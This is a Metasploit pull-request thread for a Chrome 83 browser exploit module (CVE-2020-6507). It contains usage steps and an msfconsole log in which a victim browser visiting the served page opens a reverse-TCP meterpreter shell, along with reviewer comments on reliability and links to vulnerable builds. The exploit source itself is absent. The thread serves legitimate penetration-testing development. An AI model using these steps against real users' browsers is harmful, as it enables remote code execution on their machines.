Add exploit for Chrome version 83.0.4103.97

[r4j0x00]

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/multi/browser/chrome_newfixedarray_sizecheck
• set uripath /
• set lhost 127.0.0.1
• set srvhost 127.0.0.1
• exploit
• Visit the URL with Chrome
• Verify you get a meterpreter shell.

e.g:

msf5 > use exploit/multi/browser/chrome_newfixedarray_sizecheck 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/browser/chrome_newfixedarray_sizecheck) > set uripath /
uripath => /
msf5 exploit(multi/browser/chrome_newfixedarray_sizecheck) > set srvhost 127.0.0.1
srvhost => 127.0.0.1
msf5 exploit(multi/browser/chrome_newfixedarray_sizecheck) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/browser/chrome_newfixedarray_sizecheck) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
msf5 exploit(multi/browser/chrome_newfixedarray_sizecheck) > [*] Using URL: http://127.0.0.1:8080/
[*] Server started.
[*] 127.0.0.1        chrome_newfixedarray_sizecheck - Sending / to Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
[*] Sending stage (3012516 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:35280) at 2020-08-27 19:23:10 +0530
sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: no-user @ kali (uid=0, gid=0, euid=0, egid=0)

[label-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[timwr]

Excellent work @r4j0x00 !

[label-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[xaitax]

@r4j0x00 Do you have the .deb package for that version for it so I can test it?

[r4j0x00]

@xaitax you can get the linux build here - https://chromium.cypress.io/linux/stable/83.0.4103.97
@timwr also tested it for osx and it works with that.
note that it's not 100% reliable. Works around 7 out of 10 times. make sure to run without sandbox.

[xaitax]

@r4j0x00 Thanks a lot. Got it to work on a Ubuntu 20.04.1 with Chromium 83.0.4103.0.
Success rate in my tests is a bit lower unfortunately: 7/20
Very nice though.

[timwr]

I gave this a quick test on OSX and it worked maybe 5/10 times:
https://github.com/r4j0x00/metasploit-framework/compare/chrome_newfixedarray...timwr:pr-14060?expand=1
You can get the .dmg from: https://google-chrome.en.uptodown.com/mac/download/2245134

I wonder if reliability can be improved with an iframe that retries the exploit on failure.

[bwatters-r7]

@r4j0x00 any progress on the documentation?

[space-r7]

Hey @r4j0x00, thanks for you module! I've just a couple of suggestions. Please add some documentation when you get the chance. Thanks!

[r4j0x00]

update: there's a cve for it now CVE-2020-6507

[r4j0x00]

The exploit success rate is now 9/10 times.

[timwr]

I can merge this later this week, apologies for the delay!

[timwr]

@r4j0x00 this was extremely unreliable during my testing and I can no longer get a session from it. Can you test it with msf and ensure you get a session?

[gwillcox-r7]

@r4j0x00 Just checking in, any update on this r.e @timwr's comment on reliability?

[gwillcox-r7]

I'm going to put this in the attic for now as whilst its a very nice module, I've not heard anything from @r4j0x00 r.e updates to address the reliability issues and generally speaking anything below 50% reliability we generally don't tend to merge in. @r4j0x00 If you are able to improve the reliability of this exploit though, then please feel free to continue contributing and we will reopen this PR.

[label-actions]

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

• It doesn't look like there has been any activity on this pull request in a while
• We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
• Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!